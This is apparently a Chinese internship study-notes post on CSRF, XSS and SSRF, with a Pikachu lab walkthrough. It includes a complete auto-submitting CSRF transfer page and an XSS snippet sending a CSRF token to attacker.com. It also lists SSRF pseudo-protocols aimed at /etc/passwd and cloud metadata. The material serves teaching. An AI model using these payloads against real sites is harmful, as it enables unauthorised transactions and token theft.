网络安全毕业实习实训Day6 总结

目录

一、CSRF和XSS的区别

1.1 攻击目标

1.2 攻击原理

1.3 攻击模式

二、CSRF的攻击步骤

三、CSRF手工构造POST型页面的方法

四、Token类CSRF利用方法

4.1 CSRF Token的工作机制

4.2 攻击CSRF Token的挑战

4.3 Token类CSRF利用方法

五、SSRF常用伪协议

六、Pikachu靶场——SSRF通关

6.1 第一关 SSRF(curl)

6.2 第二关 SSRF(file_get_content)

七、Pikachu靶场中SSRF漏洞的成因分析

7.1 ssrf_curl.php分析

7.2 ssrf_fgc.php分析


一、CSRF和XSS的区别

CSRF(Cross-Site Request Forgery,跨站请求伪造)和XSS(Cross-Site Scripting,跨站脚本攻击)是网络安全领域中常见的两种攻击类型,它们都是客户端攻击,它们滥用同源策略,利用web应用程序和不知情的用户之间的信任关系。它们之间的区别主要体现在以下方面:

1.1 攻击目标

  • CSRF:攻击的目标是用户的身份认证系统,利用用户已经登录的网站身份,强迫用户在未察觉的情况下执行某些恶意操作。例如,攻击者可能会诱导用户点击恶意链接,导致用户在某个已登录的网上银行账户中转账。

  • XSS:攻击的目标是网站的前端(客户端),即攻击者通过在网站的输入区域插入恶意脚本,脚本在其他用户的浏览器中执行,进而窃取用户的敏感信息(如Cookies、会话ID)或执行任意操作。

总结:CSRF攻击的范围有限,仅限于用户可执行的操作,例如点击恶意链接或访问黑客的网站;相反,XSS攻击提供执行恶意脚本来执行攻击者所选择的任何活动,从而扩大了攻击的范围。

1.2 攻击原理

  • CSRF:攻击者诱使用户在已认证的网站上发送伪造的请求,这些请求往往是用户不知情的。攻击利用了用户在浏览器中存储的身份认证信息(如Cookies),并通过用户的已登录状态执行操作。

  • XSS:攻击者将恶意代码注入到网页中,这些代码在其他用户的浏览器中执行。通常分为两种类型:

    • 存储型XSS:恶意脚本被永久存储在目标服务器上(例如在数据库中),每次有用户访问包含该恶意代码的页面时,代码就会执行。

    • 反射型XSS:恶意脚本通过URL等方式直接注入到HTTP请求中,服务器响应时将恶意代码包含在响应内容中,代码在用户的浏览器中执行。

总结:在XSS攻击中,恶意代码存储在站点中,只要用户登录,就可以存储和交付有效载荷;而在CSRF攻击中,恶意代码存储在受害用户访问的第三方站点中。

1.3 攻击模式

  • CSRF是一种单向攻击机制,这意味着攻击者只能发起HTTP请求,但不能检索已发起请求的响应。

  • XSS攻击遵循双向攻击模式,允许攻击者执行恶意脚本、访问响应,并将后续敏感数据发送到攻击者选择的目的地。

总结:CSRF无法让攻击者获取到服务器返回的数据,由于请求是由受害者的浏览器发起的,那么服务器的响应最后还是给到了受害者那里,攻击者是拿不到这部分数据的,所以对于一些查询类功能,即便没有做任何防御CSRF的措施,它也几乎是没有利用价值的;而XSS由于可以执行js代码,这也就使得攻击者可以将它想要的数据发送到自己的服务器上,比如回传cookie。


二、CSRF的攻击步骤

这里用一个实例说明CSRF的攻击步骤。

假设有用户User C,存在CSRF漏洞的网站Web A,攻击网站Web B。攻击流程可概括如下:

        1、用户在客户端通过账户密码登录访问信任网站A。

        2、网站A验证客户端身份,成功后生成一个A的Cookie,返回给客户端并存储在浏览器中。

        3、用户在没有退出A的情况下访问攻击网站B。

        4、网站B自动触发要求该客户端访问网站A。(即在网站B中有链接指向网站A)

        5、客户端通过网站B中的链接访问网站A。(此时携带有合法的Cookie进行访问站A的)

        6、此时网站A只需检验Cookie是否合法,检测合法后则执行相应的操作。

image-20240902220514944

总结:若要完成CSRF攻击,必须同时满足两个条件:

1.用户登录受信任网站A,并在本地生成Cookie。2. 用户在不登出A的情况下,访问危险网站B。


三、CSRF手工构造POST型页面的方法

手工构造一个用于CSRF攻击的POST型页面通常包括以下步骤。通过这种方式,攻击者可以利用受害者的浏览器自动提交恶意表单到目标网站。

1. 确定目标URL和参数

首先,攻击者需要确定目标网站的URL以及需要在POST请求中提交的参数。例如,目标URL可能是一个处理表单提交的地址,如https://example.com/transfer,参数可能包括用户ID、金额等。

2. 编写恶意表单

攻击者编写一个HTML表单,其中包含目标URL、所需的表单字段和预设的值。这些值将被用于执行攻击操作。输入框通常是隐藏的,以避免受害者察觉。

<form id="csrfForm" action="https://example.com/transfer" method="POST">
    <input type="hidden" name="user_id" value="2021212647">
    <input type="hidden" name="amount" value="8888">
    <input type="hidden" name="account" value="attacker_account">
</form>

3. 自动提交表单

为了确保受害者无意间提交这个表单,攻击者会在页面中添加一段JavaScript代码,自动触发表单提交。当受害者加载页面时,表单将立即提交,完成CSRF攻击。

<script type="text/javascript">
    document.getElementById('csrfForm').submit();
</script>

4. 诱导受害者访问该页面

攻击者需要诱导受害者访问这个恶意页面。常见的方法包括:

  • 通过社交工程手段诱导受害者点击链接。

  • 将恶意页面嵌入到一个受信任的第三方网站中。

  • 通过电子邮件或社交媒体发送该页面的链接。

5. 示例

下面是一个完整的CSRF恶意页面示例:

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <form id="csrfForm" action="https://example.com/transfer" method="POST">
        <input type="hidden" name="user_id" value="2021212647">
        <input type="hidden" name="amount" value="8888">
        <input type="hidden" name="account" value="attacker_account">
    </form>
    <script type="text/javascript">
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

四、Token类CSRF利用方法

4.1 CSRF Token的工作机制

  • 当用户访问一个需要保护的表单页面时,服务器会生成一个唯一的CSRF Token,并将其嵌入到表单的隐藏字段或作为请求参数。

  • 用户提交表单时,Token会随表单数据一起发送到服务器。

  • 服务器接收请求后,验证接收到的Token是否与服务器端存储的Token一致。如果一致,则认为请求合法,否则拒绝请求。

4.2 攻击CSRF Token的挑战

  • 攻击者无法直接获取CSRF Token,因为它通常是动态生成的,且只在服务器和用户间传递。

  • 由于Token是一次性的或与用户会话绑定,攻击者无法通过简单的手段重用或伪造Token。

4.3 Token类CSRF利用方法

1. Token泄露

如果应用程序存在XSS漏洞,攻击者可以通过XSS获取CSRF Token。例如,恶意脚本可以读取页面上的Token并将其发送到攻击者的服务器,从而绕过CSRF防护。

示例代码(假设攻击者通过XSS注入了这段代码):

var csrfToken = document.getElementsByName('csrf_token')[0].value;
var img = new Image();
img.src = "https://attacker.com/steal?token=" + csrfToken;

那么一旦攻击者获得Token,他们可以使用该Token执行CSRF攻击。

2. CSRF Token未验证或验证不当

如果服务器端代码对CSRF Token的验证存在漏洞,例如Token没有正确验证、Token不唯一、或Token在多个表单间重复使用,攻击者可能会利用这些漏洞发起攻击。再例如,如果Token是通过固定的算法生成的,攻击者可能通过逆向工程猜测Token值。

3. 同源策略漏洞

某些情况下,应用程序可能在跨域请求中意外地暴露了CSRF Token,例如通过CORS配置不当使Token暴露给第三方域名。攻击者可以利用这种漏洞,通过诱导用户访问恶意页面,从而窃取Token并发起CSRF攻击。

4. 点击劫持

如果应用程序没有实施适当的防点击劫持保护(如使用X-Frame-Options),攻击者可以通过将目标网站嵌入到恶意网站的<iframe>中,诱导用户点击并无意中提交合法的Token表单。

5. 巧用工具

可以利用Burpsuite的插件【CSRF Token Tracker】获取刚开始登录的有效Token。

安装步骤:

image-20240902224747213

安装完成后即可配置:

image-20240902224850726


五、SSRF常用伪协议

1. file:// 协议

  • 作用:允许攻击者访问服务器文件系统中的文件,尤其是敏感配置文件。

  • 常见目标/etc/passwd(Linux系统的用户信息文件)、/etc/hosts、日志文件等。

2. http://https:// 协议

  • 作用:最常见的协议,用于直接访问HTTP/HTTPS服务。

  • 常见目标:内部Web服务、API、云元数据服务(如AWS、GCP、Azure的元数据服务)。

3. ftp:// 协议

  • 作用:可以访问FTP服务器,甚至有时可以通过FTP协议读取文件或执行命令。

  • 常见目标:内部或外部的FTP服务器,有时可以通过FTP读取特定文件或触发文件上传/下载行为。

4. gopher:// 协议

  • 作用:Gopher协议可以构造更复杂的二进制数据包,是进行任意协议攻击的有力工具,特别是可以用来攻击不支持复杂HTTP请求的服务器(如Redis、SMTP等)。

  • 常见目标:Redis、SMTP、HTTP请求伪造等。

5. dict:// 协议

  • 作用:DICT协议用于查询词典服务器,虽然较少见,但仍可能在某些情况下被利用。

  • 常见目标:词典服务器,或在特定情况下触发其他协议操作。

6. ldap://ldaps:// 协议

  • 作用:LDAP协议用于访问目录服务,攻击者可能会利用它尝试查询内部的LDAP目录或获取服务器配置信息。

  • 常见目标:LDAP目录服务(如Active Directory)。

7. mailto: 协议

  • 作用:通常用于构造电子邮件,但在某些情况下,攻击者可能利用这个协议与SMTP服务进行交互,甚至发送恶意邮件。

  • 常见目标:本地或外部的SMTP服务器。

8. php:// 协议

  • 作用:这是PHP特有的伪协议,允许直接访问PHP的输入输出流。攻击者可以利用它读取或写入文件,甚至在某些情况下执行命令。

  • 常见目标:文件读写、命令执行。


六、Pikachu靶场——SSRF通关

6.1 第一关 SSRF(curl)

看到题目,先搜一下curl的用法:PHP cURL 函数 | 菜鸟教程 (runoob.com)

扫一眼开始做题!

image-20240902230501886

点击这行文字,跳转页面,发现是通过url参数进行传递请求的:

image-20240902230712070

于是本地新建文件,使用file伪协议访问该文件:

image-20240902231402757

成功,下一关!

6.2 第二关 SSRF(file_get_content)

同样点击文字,发现第一关的url变成了file:

image-20240902231539446

同理,file伪协议读取本地文件:

image-20240902231704540

成功!


七、Pikachu靶场中SSRF漏洞的成因分析

源码存储路径:

image-20240902232521307

7.1 ssrf_curl.php分析

第一关漏洞成因:服务端简单get前端的URL,并没有做任何有效的校验过滤,导致了SSRF漏洞。

image-20240902232755582

7.2 ssrf_fgc.php分析

第二关漏洞成因:在file协议中没有过滤恶意文件路径或url,导致攻击者可以通过file协议进行内网请求或本地文件请求。

【函数file_get_content()不仅可以读取本地文件系统的文件,还可以通过读取远程文件的内容】

image-20240902233004136

  • 20
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值